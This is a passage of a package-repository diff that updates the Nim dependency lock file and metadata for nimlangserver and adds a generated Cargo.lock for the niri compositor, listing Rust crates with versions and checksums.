"https://github.com/status-im/nim-websock/archive/2c3ae3137f3c9cb48134285bd4a47186fa51f0e8.tar.gz" + "url": "https://github.com/status-im/nim-bearssl/archive/9372f27a25d0718d3527afad6cc936f6a853f86e.tar.gz", + "subDir": "", + "packages": [ + "bearssl" + ] }, { "method": "fetchzip", + "path": "/nix/store/h0xl7qnw7bh513rb24k1n805x3n1rimw-source", + "rev": "d9394dc7286064902d825bbc1203d03d7218633a", + "sha256": "102m7jaxjip24a6hrnk0nvfb0vmdx5zq4m9i4xyzq8m782xyqp94", + "srcDir": "", + "url": "https://github.com/status-im/nim-json-serialization/archive/d9394dc7286064902d825bbc1203d03d7218633a.tar.gz", + "subDir": "", "packages": [ - "with" - ], - "path": "/nix/store/qkwz2w5haw8px691c6gkklvxxp38j9d3-source", - "rev": "2f95909c767605e06670dc70f5cffd6b9284f192", - "sha256": "1qdq9wpm6xahqczmvdn3a7yvvrw5x42ylvzmbybdwjzd8vmgg0zv", + "json_serialization" + ] + }, + { + "method": "fetchzip", + "path": "/nix/store/ffz78k6z9wf8vj2kv1jdj5dq2rxf61j7-source", + "rev": "2a2681b60289aaf7895b7056f22616081eb1a882", + "sha256": "0n8awgrmn9f6vd7ibv1jlyxk61lrs7hc51fghilrw6g6xq5w9rxq", "srcDir": "", - "url": "https://github.com/zevv/with/archive/2f95909c767605e06670dc70f5cffd6b9284f192.tar.gz" + "url": "https://github.com/status-im/nim-chronicles/archive/2a2681b60289aaf7895b7056f22616081eb1a882.tar.gz", + "subDir": "", + "packages": [ + "chronicles" + ] }, { "method": "fetchzip", + "path": "/nix/store/51nf7pb5cwg2n441ka6w6g6c4hdjsdj4-source", + "rev": "bb01d965a2ad0f08eaff6a53874f028ddbab4909", + "sha256": "0v4n7maskd07qsx8rsr9v0bs7nzbncmvxsn7j9jsk9azcy803v49", + "srcDir": "", + "url": "https://github.com/nickysn/asynctools/archive/bb01d965a2ad0f08eaff6a53874f028ddbab4909.tar.gz", + "subDir": "", "packages": [ - "zlib" - ], + "asynctools" + ] + }, + { + "method": "fetchzip", "path": "/nix/store/br78rad2jnl6zka2q89qi6pkfiyn10fv-source", "rev": "f34ca261efd90f118dc1647beefd2f7a69b05d93", "sha256": "1k8y7m1ry1z8jm8hj8pa3vlqprshaa59cdwq2a4acrfw9ks5w482", "srcDir": "", - "url": "https://github.com/status-im/nim-zlib/archive/f34ca261efd90f118dc1647beefd2f7a69b05d93.tar.gz" + "url": "https://github.com/status-im/nim-zlib/archive/f34ca261efd90f118dc1647beefd2f7a69b05d93.tar.gz", + "subDir": "", + "packages": [ + "zlib" + ] } ] } diff --git a/pkgs/by-name/ni/nimlangserver/package.nix b/pkgs/by-name/ni/nimlangserver/package.nix index 78b8e655eb2eb..634b6831330ce 100644 --- a/pkgs/by-name/ni/nimlangserver/package.nix +++ b/pkgs/by-name/ni/nimlangserver/package.nix @@ -7,11 +7,7 @@ buildNimPackage (final: prev: { pname = "nimlangserver"; version = "1.2.0"; - # lock.json was generated by converting - # nimble.lock into requires "<gitUrl>#revSha" in a dummy.nimble - # for all packages and then running nim_lk on said dummy package - # default nim_lk output fails because it attempts - # to use branches that will not work instead of HEAD for packages + # lock.json generated with github.com/daylinmorgan/nnl lockFile = ./lock.json; src = fetchFromGitHub { @@ -27,6 +23,7 @@ buildNimPackage (final: prev: { final.src.meta // { description = "The Nim language server implementation (based on nimsuggest)"; + homepage = "https://github.com/nim-lang/langserver"; license = licenses.mit; mainProgram = "nimlangserver"; maintainers = with maintainers; [daylinmorgan]; diff --git a/pkgs/by-name/ni/niri/Cargo.lock b/pkgs/by-name/ni/niri/Cargo.lock new file mode 100644 index 0000000000000..a44b513cfcbb2 --- /dev/null +++ b/pkgs/by-name/ni/niri/Cargo.lock @@ -0,0 +1,4296 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" +dependencies = [ + "cfg-if", + "getrandom", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] +name = "android-activity" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee91c0c2905bae44f84bfa4e044536541df26b7703fd0888deeb9060fcc44289" +dependencies = [ + "android-properties", + "bitflags 2.4.2", + "cc", + "cesu8", + "jni", + "jni-sys", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "num_enum", + "thiserror", +] + +[[package]] +name = "android-properties" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7eb209b1518d6bb87b283c20095f5228ecda460da70b44f0802523dea6da04" + +[[package]] +name = "annotate-snippets" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccaf7e9dfbb6ab22c82e473cd1a8a7bd313c19a5b7e40970f3d89ef5a5c9e81e" +dependencies = [ + "unicode-width", + "yansi-term", +] + +[[package]] +name = "anstream" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" + +[[package]] +name = "appendlist" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e149dc73cd30538307e7ffa2acd3d2221148eaeed4871f246657b1c3eaa1cbd2" + +[[package]] +name = "approx" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f2a05fd1bd10b2527e20a2cd32d8873d115b8b39fe219ee25f42a8aca6ba278" +dependencies = [ + "num-traits", +] + +[[package]] +name = "arrayvec" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" + +[[package]] +name = "as-raw-xcb-connection" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175571dd1d178ced59193a6fc02dde1b972eb0bc56c892cde9beeceac5bf0f6b" + +[[package]] +name = "async-broadcast" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c48ccdbf6ca6b121e0f586cbc0e73ae440e56c67c30fa0873b4e110d9c26d2b" +dependencies = [ + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" +dependencies = [ + "concurrent-queue", + "event-listener 5.0.0", + "event-listener-strategy 0.5.0", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" +dependencies = [ + "async-lock 3.3.0", + "async-task", + "concurrent-queue", + "fastrand 2.0.1", + "futures-lite 2.2.0", + "slab", +] + +[[package]] +name = "async-fs" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "279cf904654eeebfa37ac9bb1598880884924aab82e290aa65c9e77a0e142e06" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "blocking", + "futures-lite 1.13.0", +] + +[[package]] +name = "async-io" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-lite 1.13.0", + "log", + "parking", + "polling 2.8.0", + "rustix 0.37.27", + "slab", + "socket2", + "waker-fn", +] + +[[package]] +name = "async-io" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f97ab0c5b00a7cdbe5a371b9a782ee7be1316095885c8a4ea1daf490eb0ef65" +dependencies = [ + "async-lock 3.3.0", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite 2.2.0", + "parking", + "polling 3.4.0", + "rustix 0.38.31", + "slab", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "async-lock" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +dependencies = [ + "event-listener 2.5.3", +] + +[[package]] +name = "async-lock" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d034b430882f8381900d3fe6f0aaa3ad94f2cb4ac519b429692a1bc2dda4ae7b" +dependencies = [ + "event-listener 4.0.3", + "event-listener-strategy 0.4.0", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea6438ba0a08d81529c69b36700fa2f95837bfe3e776ab39cde9c14d9149da88" +dependencies = [ + "async-io 1.13.0", + "async-lock 2.8.0", + "async-signal", + "blocking", + "cfg-if", + "event-listener 3.1.0", + "futures-lite 1.13.0", + "rustix 0.38.31", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-recursion" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "async-signal" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" +dependencies = [ + "async-io 2.3.1", + "async-lock 2.8.0", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 0.38.31", + "signal-hook-registry", + "slab", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-task" +version = "4.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbb36e985947064623dbd357f727af08ffd077f93d696782f3c56365fa2e2799" + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bindgen" +version = "0.69.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0" +dependencies = [ + "annotate-snippets", + "bitflags 2.4.2", + "cexpr", + "clang-sys", + "itertools", + "lazy_static", + "lazycell", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.48", +] + +[[package]] +name = "bit-set" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-sys" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae85a0696e7ea3b835a453750bf002770776609115e6d25c6d2ff28a8200f7e7" +dependencies = [ + "objc-sys", +] + +[[package]] +name = "block2" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b55663a85f33501257357e6421bb33e769d5c9ffb5ba0921c975a123e35e68" +dependencies = [ + "block-sys", + "objc2", +] + +[[package]] +name = "blocking" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" +dependencies = [ + "async-channel", + "async-lock 3.3.0", + "async-task", + "fastrand 2.0.1", + "futures-io", + "futures-lite 2.2.0", + "piper", + "tracing", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytemuck" +version = "1.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" +dependencies = [ + "bytemuck_derive", +] + +[[package]] +name = "bytemuck_derive" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "965ab7eb5f8f97d2a083c799f3a1b994fc397b2fe2da5d1da1626ce15a39f2b1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cairo-rs" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc1c415b7088381c53c575420899c34c9e6312df5ac5defd05614210e9fd6e1b" +dependencies = [ + "bitflags 2.4.2", + "cairo-sys-rs", + "glib", + "libc", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b6a5fefce2eadb8333e3c604ac964ba6573ec4f28bdd17f67032c4a2831831" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "calloop" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fba7adb4dd5aa98e5553510223000e7148f621165ec5f9acd7113f6ca4995298" +dependencies = [ + "async-task", + "bitflags 2.4.2", + "futures-io", + "log", + "polling 3.4.0", + "rustix 0.38.31", + "slab", + "thiserror", +] + +[[package]] +name = "calloop-wayland-source" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f0ea9b9476c7fad82841a8dbb380e2eae480c21910feba80725b46931ed8f02" +dependencies = [ + "calloop", + "rustix 0.38.31", + "wayland-backend", + "wayland-client", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "jobserver", + "libc", +] + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-expr" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa50868b64a9a6fda9d593ce778849ea8715cd2a3d2cc17ffdb4a2f2f2f1961d" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "cgmath" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a98d30140e3296250832bbaaff83b27dcd6fa3cc70fb6f1f3e5c9c0023b5317" +dependencies = [ + "approx", + "num-traits", +] + +[[package]] +name = "chumsky" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eebd66744a15ded14960ab4ccdbfb51ad3b81f51f3f04a80adac98c985396c9" +dependencies = [ + "hashbrown", +] + +[[package]] +name = "clang-sys" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "combine" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "convert_case" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec182b0ca2f35d8fc196cf3404988fd8b8c739a4d270ff118a398feb0cbec1ca" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "cookie-factory" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396de984970346b0d9e93d1415082923c679e5ae5c3ee3dcbd104f5610af126b" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "core-graphics" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "970a29baf4110c26fedbc7f82107d42c23f7e88e404c4577ed73fe99ff85a212" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cursor-icon" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96a6ac251f4a2aca6b3f91340350eab87ae57c3f127ffeb585e92bd336717991" + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "derivative" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "directories" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-next" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" +dependencies = [ + "cfg-if", + "dirs-sys-next", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "dirs-sys-next" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dlib" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330c60081dcc4c72131f8eb70510f1ac07223e5d4163db481a04a0befcffa412" +dependencies = [ + "libloading", +] + +[[package]] +name = "downcast-rs" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ea835d29036a4087793836fa931b08837ad5e957da9e23886b29586fb9b6650" + +[[package]] +name = "drm" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0f8a69e60d75ae7dab4ef26a59ca99f2a89d4c142089b537775ae0c198bdcde" +dependencies = [ + "bitflags 2.4.2", + "bytemuck", + "drm-ffi", + "drm-fourcc", + "rustix 0.38.31", +] + +[[package]] +name = "drm-ffi" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41334f8405792483e32ad05fbb9c5680ff4e84491883d2947a4757dc54cb2ac6" +dependencies = [ + "drm-sys", + "rustix 0.38.31", +] + +[[package]] +name = "drm-fourcc" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0aafbcdb8afc29c1a7ee5fbe53b5d62f4565b35a042a662ca9fecd0b54dae6f4" + +[[package]] +name = "drm-sys" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d09ff881f92f118b11105ba5e34ff8f4adf27b30dae8f12e28c193af1c83176" +dependencies = [ + "libc", + "linux-raw-sys 0.6.4", +] + +[[package]] +name = "edid-rs" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab5fa33485cd85ac354df485819a63360fefa312fe04cffe65e6f175be1522c" + +[[package]] +name = "either" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" + +[[package]] +name = "enumflags2" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d93877bcde0eb80ca09131a08d23f0a5c18a620b01db137dba666d18cd9b30c2" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener" +version = "4.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b215c49b2b248c855fb73579eb1f4f26c38ffdc12973e20e07b91d78d5646e" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = 